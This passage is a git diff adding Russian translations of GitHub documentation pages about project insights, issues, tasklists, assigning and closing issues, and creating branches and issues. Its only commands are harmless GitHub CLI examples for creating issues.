c708476decfb76086f32d96d8fc1e085030ae37e +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108979' +--- +{% data reusables.projects.access-insights %} +3. В меню слева нажмите **Новая диаграмма**. + ![Снимок экрана: кнопка "Создать диаграмму"](/assets/images/help/projects-v2/insights-new-chart.png) +4. Чтобы изменить имя новой диаграммы, щелкните {% octicon "triangle-down" aria-label="The triangle icon" %}, введите новое имя и нажмите клавишу <kbd>ВВОД</kbd>. + ![Снимок экрана: переименование диаграммы](/assets/images/help/projects-v2/insights-rename.png) +5. Над диаграммой введите фильтры для выбора данных, используемых для построения диаграммы. Дополнительные сведения см. в статье [Фильтрация проектов](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects). +6. Справа от текстового поля фильтра нажмите **Сохранить изменения**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/insights-save-filter.png) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/index.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/index.md new file mode 100644 index 000000000000..b8d877cf2ca1 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/index.md @@ -0,0 +1,23 @@ +--- +title: 'Просмотр аналитических сведений из {% data variables.projects.project_v2 %}' +shortTitle: Viewing insights +intro: 'Вы можете использовать аналитические сведения для визуализации проектов путем создания и совместного использования диаграмм, созданных на основе данных проекта.' +versions: + feature: projects-v2 +topics: + - Issues + - Projects +product: '{% data reusables.gated-features.historical-insights-for-projects %}' +children: + - /about-insights-for-projects + - /creating-charts + - /configuring-charts +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 648ad452662e3be907a85bf87cfe6e359594aa3e +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109010' +--- + diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/about-issues.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/about-issues.md new file mode 100644 index 000000000000..b8ca8fd0ce71 --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/about-issues.md @@ -0,0 +1,62 @@ +--- +title: О проблемах +intro: 'Используйте {% data variables.product.prodname_github_issues %} для отслеживания идей, отзывов, задач и ошибок для работы с {% data variables.product.company_short %}.' +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-issues + - /articles/creating-issues + - /articles/about-issues + - /github/managing-your-work-on-github/about-issues + - /issues/tracking-your-work-with-issues/creating-issues/about-issues +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Issues + - Project management +ms.openlocfilehash: e3352dbbc88da85680885b728dcb393d5ae3579f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147422735' +--- +## Интеграция с GitHub + +Проблемы позволяют отслеживать работу в {% data variables.product.company_short %}, где происходит разработка. При упоминании проблемы в другой проблеме или запросе на вытягивание на временной шкале проблемы отражается перекрестная ссылка для отслеживания связанных работ. Чтобы указать, что работа выполняется, можно связать проблему с запросом на вытягивание. При объединении запроса на вытягивание связанная проблема автоматически закрывается. + +Дополнительные сведения о ключевых словах см. в разделе [Связывание запроса на вытягивание с проблемой](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword). + +## Быстрое создание проблем + +Проблемы можно создавать различными способами, поэтому вы можете выбрать наиболее удобный метод для рабочего процесса. Например, можно создать проблему из репозитория,{% ifversion fpt or ghec %} элемента в списке задач,{% endif %} заметки в проекте, комментарии в запросе на вытягивание, определенной строки кода или URL-запроса. Вы также можете создать проблему на основе выбранной платформы: с помощью веб-интерфейса, {% data variables.product.prodname_desktop %}, {% data variables.product.prodname_cli %}, GraphQL и REST API или {% data variables.product.prodname_mobile %}. Дополнительные сведения см. в статье "[Создание проблемы](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue)". + +## Отслеживание результатов работы + +Вы можете упорядочить проблемы по проектам и присвоить им приоритет. {% ifversion fpt or ghec %}Для отслеживания проблем в рамках более крупной проблемы можно использовать списки задач. {% endif %} Для классификации связанных проблем можно использовать метки и вехи. + +Дополнительные сведения о проектах см. в разделе {% ifversion projects-v2 %}[О проектах](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). {% else %}[Организация работы с досками проектов](/issues/organizing-your-work-with-project-boards).{% endif %} {% ifversion fpt or ghec %}Дополнительные сведения о списках задач см. в разделе [О списках задач](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists). {% endif %}Дополнительные сведения о метках и вехах см. в разделе "[Использование меток и вех для отслеживания работы](/issues/using-labels-and-milestones-to-track-work)". + +## Получайте актуальные новости + +Чтобы быть в курсе последних комментариев к проблеме, можно подписаться на проблему, чтобы получать уведомления о последних комментариях. Чтобы быстро найти ссылки на недавно обновленные проблемы, на которые вы подписаны, откройте панель мониторинга. Дополнительные сведения см. в разделах [Сведения об уведомлениях](/github/managing-subscriptions-and-notifications-on-github/about-notifications) и [Сведения о личной панели мониторинга](/articles/about-your-personal-dashboard). + +## Управление сообществом + +Чтобы помочь участникам открыть значимые проблемы, предоставляющие необходимые сведения, можно использовать {% ifversion fpt or ghec %}формы проблем и {% endif %}шаблоны проблем. Дополнительные сведения см. в разделе "[Использование шаблонов для описания важных проблем и выполнения запросов на вытягивание](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)". + +{% ifversion fpt or ghec %}Для поддержки сообщества можно сообщить о комментариях, которые нарушают [правила сообщества](/free-pro-team@latest/github/site-policy/github-community-guidelines) {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе "[Отчеты о нарушении или спаме](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)".{% endif %} + +## Эффективное взаимодействие + +Вы можете @mention участников совместной работы, которые имеют доступ к репозиторию в проблеме, чтобы привлечь их внимание к комментариям. Чтобы связать связанные проблемы в том же репозитории, можно ввести `#` перед заголовком проблемы, а затем щелкнуть проблему, которую нужно связать. Чтобы сообщить об ответственности, можно назначить проблемы. Если вы часто вводите один и тот же комментарий, можно использовать сохраненные ответы. +{% ifversion fpt or ghec %} Дополнительные сведения см. в разделах "[Базовый синтаксис записи и форматирования](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)" и "[Назначение проблем и запросов на вытягивание другим пользователям GitHub](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users)". +{% endif %} {% ifversion discussions %} +## Сравнение проблем и обсуждений + +Некоторые беседы больше подходят для {% data variables.product.prodname_discussions %}. {% data reusables.discussions.you-can-use-discussions %} Рекомендации по использованию проблемы или обсуждения см. в статье "[Взаимодействие в GitHub](/github/getting-started-with-github/quickstart/communicating-on-github)". + +Если беседа в проблеме лучше подходит для обсуждения, ее можно преобразовать в обсуждение. +{% endif %} diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/about-tasklists.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/about-tasklists.md new file mode 100644 index 000000000000..903caa4c089a --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/about-tasklists.md @@ -0,0 +1,146 @@ +--- +title: Сведения о списках задач +intro: Списки задач можно использовать для разделения проблем на небольшие подзадачи. +versions: + feature: projects-v2-tasklists +miniTocMaxHeadingLevel: 3 +redirect_from: + - /early-access/issues/about-tasklists +ms.openlocfilehash: e35065ae4de634bb7a2da815e0a860c7c0b92234 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160129' +--- +{% data reusables.projects.tasklists-release-stage %} + +## Сведения о списках задач + +Списки задач добавляют поддержку иерархий проблем в {% data variables.product.product_name %}, помогая отслеживать проблемы, разделять проблемы на небольшие подзадачи и создавать новые связи между проблемами. + +Списки задач создаются на основе предыдущей итерации [списков задач бета-версии](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists), сохраняя возможность преобразовывать элементы в проблемы, отображать ход выполнения списка задач и создавать связь "отслеживается" между проблемами. + +Проблемы, добавленные в списки задач, будут автоматически заполнены для отображения их назначенных пользователей и всех примененных меток. + +![Изображение списков задач в действии](/assets/images/help/issues/tasklist-hero.png) + +### Сведения об интеграции с {% data variables.projects.projects_v2 %} + + На боковой панели проекта отображается место проблемы в иерархии в меню навигации, что позволяет перемещаться по проблемам, включенным в списки задач. Вы также можете добавить поля Track и Tracked-by в представления проекта, чтобы быстро увидеть связи между проблемами. Дополнительные сведения см. в разделе [Сведения о дорожках и отслеживаемых полях](/issues/planning-and-tracking-with-projects/understanding-fields/about-tracks-and-tracked-by-fields). + +## Создание списков задач + +Чтобы создать список задач, можно использовать кнопку "Добавить список задач" или отредактировать проблему Markdown. + +### Создание списка задач с помощью кнопки "Добавить список задач" + +Нажмите кнопку **{% octicon "checklist" aria-label="The checklist icon" %} Добавить список задач** в нижней части описания проблемы, которую можно изменить, чтобы создать список задач. + +![Снимок экрана: кнопка "Добавить список задач"](/assets/images/help/issues/tasklist-add-tasklist-button.png) + +### Создание списка задач с помощью Markdown + +Вы можете использовать Markdown в описании проблемы для создания списка задач. Создайте блок кода с ограждением и включите `[tasklist]` рядом с начальными обратными словами. Предваряет каждый элемент `- [ ]` и включает ссылки на другие проблемы или текст. При необходимости можно добавить заголовок Markdown в верхней части списка. + +```` +```[tasklist] +### Tasks +- [ ] https://github.com/octo-org/octo-repo/issues/45 +- [ ] Draft issue title +``` +```` + +Ваш Markdown будет отображаться {% data variables.product.product_name %} в виде списка задач. Затем можно внести изменения и добавить проблемы и черновик проблем с помощью пользовательского интерфейса. Если вы измените описание проблемы, вы сможете изменить Markdown напрямую или скопировать Markdown, чтобы дублировать список задач в других проблемах. + + + +## Добавление проблем в список задач + +1. В нижней части списка задач щелкните **Добавить элемент в задачи**. + + ![Снимок экрана: кнопка "Добавить элемент в задачи"](/assets/images/help/issues/add-new-tasklist-button.png) + +1. Выберите проблему, чтобы добавить ее в список задач. + + * Чтобы добавить недавно обновленную проблему из репозитория, щелкните ее в раскрывающемся списке или выберите ее с помощью клавиш со стрелками и нажмите клавишу <kbd>ВВОД</kbd>. + + ![Снимок экрана: последние проблемы](/assets/images/help/issues/select-recent-issue.png) + + * Чтобы найти проблему в репозитории, начните вводить название проблемы или номер проблемы и щелкните результат или выберите ее с помощью клавиш со стрелками и нажмите клавишу <kbd>ВВОД</kbd>. + + ![Снимок экрана: поиск проблемы](/assets/images/help/issues/search-for-issue.png) + + * Чтобы добавить проблему напрямую, используя ее URL-адрес, вставьте URL-адрес проблемы и нажмите клавишу <kbd>ВВОД</kbd>. + + ![Снимок экрана: вставленный URL-адрес проблемы](/assets/images/help/issues/paste-issue-url.png) + + +## Создание черновиков проблем в списке задач + +Черновики вопросов полезны для быстрого захвата идей, которые впоследствии можно преобразовать в проблемы. В отличие от проблем и запросов на вытягивание, на которые ссылается репозиторий, черновые проблемы существуют только в списке задач. + +1. В нижней части списка задач щелкните **Добавить элемент в задачи**. + + ![Снимок экрана: кнопка "Добавить элемент в задачи"](/assets/images/help/issues/add-new-tasklist-button.png) + +1. Введите название черновика проблемы и нажмите клавишу <kbd>ВВОД</kbd>. + + ![Снимок экрана: черновик заголовка проблемы](/assets/images/help/issues/add-draft-issue-to-tasklist.png) + + +## Преобразование черновиков проблем в проблемы в списке задач + +Вы можете преобразовать черновик проблем в проблемы. Проблемы создаются в том же репозитории, что и родительская проблема списка задач. + +1. Рядом с черновиком проблемы, которую вы хотите преобразовать, щелкните {% octicon "kebab-horizontal" aria-label="The kebab menu icon" %}. + + ![Снимок экрана: значок меню](/assets/images/help/issues/tasklist-item-kebab.png) + +1. В меню выберите **преобразовать в проблему**. + + ![Снимок экрана: параметр "Преобразовать в проблему"](/assets/images/help/issues/tasklist-convert-to-issue.png) + + +## Удаление проблемы или черновика проблемы из списка задач + +Вы можете удалить проблемы и черновики проблем из списка задач. Проблемы, удаленные из списка задач, не удаляются из репозитория. + +1. Рядом с черновиком проблемы, которую вы хотите удалить, щелкните {% octicon "kebab-horizontal" aria-label="The kebab menu icon" %}. + + ![Снимок экрана: значок меню](/assets/images/help/issues/tasklist-item-kebab.png) + +1. В меню щелкните **Удалить**. + + ![Снимок экрана: параметр "Удалить"](/assets/images/help/issues/tasklist-remove.png) + +## Изменение заголовка списка задач + +При создании нового списка задач по умолчанию используется название "Задачи". Вы можете изменить заголовок, изменив markdown проблемы. + +1. В правом верхнем углу текста проблемы щелкните {% octicon "kebab-horizontal" aria-label="The kebab menu icon" %}. + + ![Снимок экрана: расположение значка меню](/assets/images/help/issues/comment-menu.png) + +1. В меню щелкните **Изменить**. + + ![Снимок экрана: параметр "Изменить"](/assets/images/help/issues/comment-menu-edit.png) + +1. Измените заголовок в блоке кода с ограждением на новый заголовок. Например, измените `### Tasks` на `### My new title`. + + ![Снимок экрана: параметр "Изменить"](/assets/images/help/issues/edit-tasklist-title.png) + +1. Щелкните **Обновить примечание**. + +## Копирование списка задач + +При копировании списка задач с помощью параметра "Копировать Markdown" {% data variables.product.product_name %} копирует Markdown в буфер обмена и включает имя проблемы, чтобы вы могли вставлять список задач за пределы GitHub без потери контекста. + +1. В правом верхнем углу списка задач щелкните {% octicon "kebab-horizontal" aria-label="The kebab menu icon" %}. + + ![Снимок экрана: значок меню](/assets/images/help/issues/tasklist-kebab.png) + +1. В меню выберите **Копировать markdown**. + + ![Снимок экрана: параметр "Копировать markdown"](/assets/images/help/issues/tasklist-copy-markdown.png) + diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users.md new file mode 100644 index 000000000000..c215546988fc --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users.md @@ -0,0 +1,53 @@ +--- +title: Назначение проблем и запросов на вытягивание другим пользователям GitHub +intro: 'Назначенные лица разъясняют, кто работает над конкретными проблемами и запросами на вытягивание.' +permissions: 'Anyone with write access to a repository can assign issues and pull requests. {% data reusables.enterprise-accounts.emu-permission-repo %}' +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/assigning-issues-and-pull-requests-to-other-github-users + - /articles/assigning-issues-and-pull-requests-to-other-github-users + - /github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users + - /issues/tracking-your-work-with-issues/managing-issues/assigning-issues-and-pull-requests-to-other-github-users +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Assign issues & PRs +ms.openlocfilehash: 0e1f4029ddcd180e892e43257ae3a75d0046ce1d +ms.sourcegitcommit: 219fb805abddaef3e5547638bd798da890020bfd +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147878453' +--- +## Сведения о пользователях, которым назначены проблемы и запросы на вытягивание + +Вы можете назначить несколько пользователей для каждой проблемы или запроса на вытягивание, включая себя, всех, кто прокомментировал проблему или запрос на вытягивание, всех пользователей с разрешениями на запись в репозитории и членов организации с разрешениями на чтение в репозитории. Дополнительные сведения см. в разделе [Разрешения на доступ к {% data variables.product.prodname_dotcom %}](/articles/access-permissions-on-github). + +Для проблем и запросов на вытягивание в общедоступных репозиториях, а также в частных репозиториях для платной учетной записи можно назначать до 10 пользователей. Частные репозитории в бесплатном плане ограничены одним пользователем на одну проблему или запрос на вытягивание. + +## Назначение отдельной проблемы или запроса на вытягивание + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} +3. Откройте проблему или запрос на вытягивание, который вы хотите кому-то назначить. +4. Если никто не назначен проблеме или запросу на вытягивание, нажмите кнопку **Назначить себе**. + ![Элемент "Назначить себе"](/assets/images/help/issues/assign_yourself.png) +5. В меню справа нажмите **Кому назначено**. + ![Пункт меню "Кому назначено"](/assets/images/help/issues/assignee_menu.png) +6. Чтобы назначить пользователю проблему или запрос на вытягивание, начните вводить имя пользователя, а затем щелкните это имя, когда оно отобразится. Вы можете назначить для проблемы или запроса на вытягивание до 10 пользователей. + ![Раскрывающееся меню с назначением проблем](/assets/images/help/issues/issues_assigning_dropdown.png) + +## Назначение нескольких проблем или запросов на вытягивание + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} +3. Установите флажок рядом с элементами, которые вы хотите кому-то назначить. + ![Флажок "Метаданные проблем"](/assets/images/help/issues/issues_assign_checkbox.png) +4. В верхнем правом углу нажмите кнопку **Назначить**. +5. Чтобы назначить пользователю элементы, начните вводить имя пользователя, а затем щелкните это имя, когда оно отобразится. Вы можете назначить для проблемы или запроса на вытягивание до 10 пользователей. + ![Раскрывающееся меню с назначением проблем](/assets/images/help/issues/issues_assigning_dropdown.png) + +## Дополнительные материалы + +* [Фильтрация проблем и запросов на вытягивание по пользователям, которым назначены элементы](/articles/filtering-issues-and-pull-requests-by-assignees) diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/closing-an-issue.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/closing-an-issue.md new file mode 100644 index 000000000000..8baa39fa5848 --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/closing-an-issue.md @@ -0,0 +1,35 @@ +--- +title: Закрытие запроса +intro: 'Вы можете закрыть проблему, когда будут исправлены ошибки, выполнены нужные действия или принято решение о том, что никакие действия не требуются.' +permissions: 'Anyone can close an issue they opened.<br><br>Repository owners, collaborators on repositories owned by a personal account, and people with triage permissions or greater on repositories owned by an organization can close issues opened by others. {% data reusables.enterprise-accounts.emu-permission-repo %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Issues + - Project management +shortTitle: Close an issue +ms.openlocfilehash: 889775474dc94f10c62e59916e1fa13b263b3474 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060429' +--- +{% note %} + +**Примечание.** Вы также можете автоматически закрывать проблемы, используя ключевые слова в запросах на вытягивание и сообщениях о фиксации. Дополнительные сведения см. в разделе [Связывание запроса на вытягивание с проблемой](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword#linking-a-pull-request-to-an-issue-using-a-keyword). + +{% endnote %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} +1. В списке проблем щелкните проблему, которую хотите закрыть. +{%- ifversion issue-close-reasons %} +1. Если потребуется изменить причину закрытия проблемы, выберите {% octicon "triangle-down" aria-label="The down triangle octicon" %} рядом с пунктом "Закрыть проблему" и щелкните новую причину. + ![Снимок экрана: раскрывающееся меню с причинами закрытия проблемы](/assets/images/help/issues/close-issue-select-reason.png) +2. Нажмите кнопку **Закрыть проблему**. + ![Снимок экрана: кнопка "Закрыть проблему"](/assets/images/help/issues/close-issue-with-reason.png) {%- else %} +1. В нижней части страницы щелкните **Закрыть проблему**. + ![Снимок экрана: кнопка "Закрыть проблему"](/assets/images/help/issues/close-issue.png) {% endif %} diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue.md new file mode 100644 index 000000000000..fa83cb5d0ccc --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue.md @@ -0,0 +1,40 @@ +--- +title: Создание ветви для работы с проблемой +intro: Вы можете создать ветвь для работы с проблемой непосредственно на странице проблемы и сразу приступить к работе. +versions: + fpt: '*' + ghes: '>=3.5' + ghae: '>= 3.5' + ghec: '*' +allowTitleToDifferFromFilename: true +topics: + - Issues +shortTitle: Create branch for issue +ms.openlocfilehash: 062b41705836537de23d882acc5342e0713c316d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061141' +--- +{% note %} + +**Примечание.** Возможность создания ветви для проблемы в настоящее время находится в общедоступной бета-версии и может быть изменена. + +{% endnote %} + +## Сведения о ветвях, подключенных к проблеме +Ветви, подключенные к проблеме, отображаются в разделе "Разработка" на боковой панели проблемы. При создании запроса на вытягивание для одной из этих ветвей она автоматически связывается с проблемой. Соединение с этой ветвью удаляется, и в разделе "Разработка" отображается только запрос на вытягивание. Дополнительные сведения см. в разделе [Связывание запроса на вытягивание с проблемой](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue). + +## Создание ветви для проблемы + +Любой пользователь с разрешением на запись в репозиторий может создать ветвь для проблемы. Для проблемы можно связать несколько ветвей. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} +3. В списке проблем щелкните проблему, для которой нужно создать ветвь. +4. На правой боковой панели в разделе "Разработка" нажмите кнопку **Создать ветвь**. Если у проблемы уже есть связанная ветвь или запрос на вытягивание, щелкните {% octicon "gear" aria-label="The Gear icon" %} и в нижней части раскрывающегося меню нажмите кнопку **Создать ветвь**. + ![Снимок экрана: команда "Создать ветвь", выделенная на боковой панели](/assets/images/help/issues/create-a-branch.png) +5. По умолчанию новая ветвь создается в текущем репозитории из ветви по умолчанию. Измените имя и сведения ветви в соответствии с требованиями в диалоговом окне "Создание ветви для этой проблемы". + ![Снимок экрана: параметры в диалоговом окне "Создать ветвь"](/assets/images/help/issues/create-a-branch-options.png) +6. Выберите, следует ли работать в ветви локально или открыть ее в GitHub Desktop. +7. Когда вы будете готовы создать ветвь, нажмите кнопку **Создать ветвь**. diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/creating-an-issue.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/creating-an-issue.md new file mode 100644 index 000000000000..f121c14d38f4 --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/creating-an-issue.md @@ -0,0 +1,156 @@ +--- +title: Создание проблемы +intro: 'Проблемы можно создавать различными способами, поэтому вы можете выбрать наиболее удобный метод для рабочего процесса.' +permissions: 'People with read access can create an issue in a repository where issues are enabled. {% data reusables.enterprise-accounts.emu-permission-repo %}' +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/creating-an-issue + - /articles/creating-an-issue + - /github/managing-your-work-on-github/creating-an-issue + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/opening-an-issue-from-a-comment + - /github/managing-your-work-on-github/opening-an-issue-from-a-comment + - /issues/tracking-your-work-with-issues/creating-issues/opening-an-issue-from-a-comment + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/opening-an-issue-from-code + - /articles/opening-an-issue-from-code + - /github/managing-your-work-on-github/opening-an-issue-from-code + - /issues/tracking-your-work-with-issues/creating-issues/opening-an-issue-from-code + - /issues/tracking-your-work-with-issues/creating-issues/about-automation-for-issues-and-pull-requests-with-query-parameters + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-automation-for-issues-and-pull-requests-with-query-parameters + - /articles/about-automation-for-issues-and-pull-requests-with-query-parameters + - /github/managing-your-work-on-github/about-automation-for-issues-and-pull-requests-with-query-parameters + - /issues/tracking-your-work-with-issues/creating-issues/creating-an-issue +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Issues + - Project management +shortTitle: Create an issue +type: how_to +ms.openlocfilehash: 21bef9325848b6242b505a8c28ec65483b36448f +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147410086' +--- +С помощью проблем можно отслеживать ошибки, улучшения и другие запросы. Дополнительные сведения см. в разделе [Сведения о проблемах](/issues/tracking-your-work-with-issues/about-issues). + +{% data reusables.repositories.administrators-can-disable-issues %} + +## Создание проблемы из репозитория + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.repositories.new_issue %} +1. Если в вашем репозитории используются шаблоны проблем, щелкните **Начать работу** рядом с типом проблемы, который хотите создать. + ![Выбор типа проблемы, которую необходимо создать](/assets/images/help/issues/issue_template_get_started_button.png) Или щелкните **Создать пустую проблему**, если среди доступных вариантов отсутствует тип проблемы, которую вы хотите создать. + ![Ссылка на создание пустой проблемы](/assets/images/help/issues/blank_issue_link.png) {% data reusables.repositories.type-issue-title-and-description %} {% data reusables.repositories.assign-an-issue-as-project-maintainer %} {% data reusables.repositories.submit-new-issue %} + +## Создание проблемы с помощью {% data variables.product.prodname_cli %} + +{% data reusables.cli.about-cli %} Дополнительные сведения о {% data variables.product.prodname_cli %} см. в статье ["Общие сведения о {% data variables.product.prodname_cli %}"](/github-cli/github-cli/about-github-cli). + +Чтобы создать проблему, используйте подкоманду `gh issue create`. Чтобы пропустить интерактивные подсказки, включите флаги `--body` и `--title`. + +```shell +gh issue create --title "My new issue" --body "Here are more details." +``` + +Также можно указать уполномоченных пользователей, метки, вехи и проекты. + +```shell +gh issue create --title "My new issue" --body "Here are more details." --assignee @me,monalisa --label "bug,help wanted" --project onboarding --milestone "learning codebase" +``` + +## Создание проблемы из комментария + +Новую проблему можно создать из комментария в существующей проблеме или запросе на вытягивание. При создании проблемы из комментария она будет содержать фрагмент, отображающий комментарий в исходном расположении. + +1. Перейдите к комментарию, из которого хотите создать проблему. +2. В этом комментарии щелкните значок {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. + ![Значок многоточия в комментарии к запросу на вытягивание](/assets/images/help/pull_requests/kebab-in-pull-request-review-comment.png) +3. Щелкните **Создать ссылку в новой проблеме**. + ![Пункт меню "Создать ссылку в новой проблеме"](/assets/images/help/pull_requests/reference-in-new-issue.png) +4. В раскрывающемся меню "Репозиторий" выберите репозиторий, в котором хотите открыть проблему. + ![Раскрывающееся меню "Репозиторий" для новой проблемы](/assets/images/help/pull_requests/new-issue-repository.png) +5. Введите содержательное название и текст проблемы. + ![Название и текст новой проблемы](/assets/images/help/pull_requests/new-issue-title-and-body.png) +6. Щелкните **Создать проблему**. + ![Кнопка создания проблемы](/assets/images/help/pull_requests/create-issue.png) {% data reusables.repositories.assign-an-issue-as-project-maintainer %} {% data reusables.repositories.submit-new-issue %} + +## Создание проблемы из кода + +Новую проблему можно создать из конкретной строки или нескольких строк кода в файле или запросе на вытягивание. При создании проблемы из кода она будет содержать фрагмент, отображающий выбранную строку или диапазон кода. Создать такую проблему можно только в том репозитории, в котором хранится код. + +![Проблема, созданная из кода, с исходным фрагментом кода](/assets/images/help/repository/issue-opened-from-code.png) + +{% data reusables.repositories.navigate-to-repo %} +1. Найдите код, на который хотите сослаться в проблеме: + - Чтобы создать проблему по коду из файла, откройте этот файл. + - Чтобы создать проблему по коду из запроса на вытягивание, откройте этот запрос и щелкните {% octicon "diff" aria-label="The file diff icon" %} **Измененные файлы**. Затем откройте файл, содержащий код, который необходимо включить в комментарий, и щелкните **Просмотреть**. +{% data reusables.repositories.choose-line-or-range %} +4. Щелкните значок {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} слева от диапазона кода. В раскрывающемся меню выберите **Создать ссылку в новой проблеме**. + ![Создание проблемы из выбранной строки в раскрывающемся меню](/assets/images/help/repository/open-new-issue-specific-line.png) {% data reusables.repositories.type-issue-title-and-description %} {% data reusables.repositories.assign-an-issue-as-project-maintainer %} {% data reusables.repositories.submit-new-issue %} + +{% ifversion discussions %} + +## Создание проблемы из обсуждения + +Пользователи с разрешением на рассмотрение в репозитории могут создавать проблемы из обсуждений. + +При создании проблемы из обсуждения содержимое записи обсуждения будет автоматически включено в текст проблемы с сохранением меток. Создание проблемы из обсуждения не преобразует обсуждение в проблему и не удаляет его. Дополнительные сведения о {% data variables.product.prodname_discussions %} см. в статье ["Общие сведения об обсуждениях"](/discussions/collaborating-with-your-community-using-discussions/about-discussions). + +{% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} +1. На правой боковой панели щелкните {% octicon "issue-opened" aria-label="The issues icon" %} **Создать проблему из обсуждения**. + ![Кнопка создания проблемы из обсуждения](/assets/images/help/discussions/create-issue-from-discussion.jpg) {% data reusables.repositories.type-issue-title-and-description %} {% data reusables.repositories.assign-an-issue-as-project-maintainer %} {% data reusables.repositories.submit-new-issue %} + +{% endif %} + +## Создание проблемы из заметки на доске проекта + +Если для отслеживания работы и расстановки приоритетов вы используете доску проекта, заметки на ней можно преобразовать в проблемы. Дополнительные сведения см. в статье ["Общие сведения о досках проектов"](/github/managing-your-work-on-github/about-project-boards) и разделе ["Добавление заметок на доску проекта"](/github/managing-your-work-on-github/adding-notes-to-a-project-board#converting-a-note-to-an-issue). + +{% ifversion fpt or ghec %} + +## Создание проблемы из элемента списка задач + +При обработке проблемы можно использовать списки задач, чтобы разбить работу на небольшие задачи и отслеживать весь комплекс работ до их завершения. Если задача требует дальнейшего отслеживания или обсуждения, вы можете преобразовать задачу в проблему. Для этого 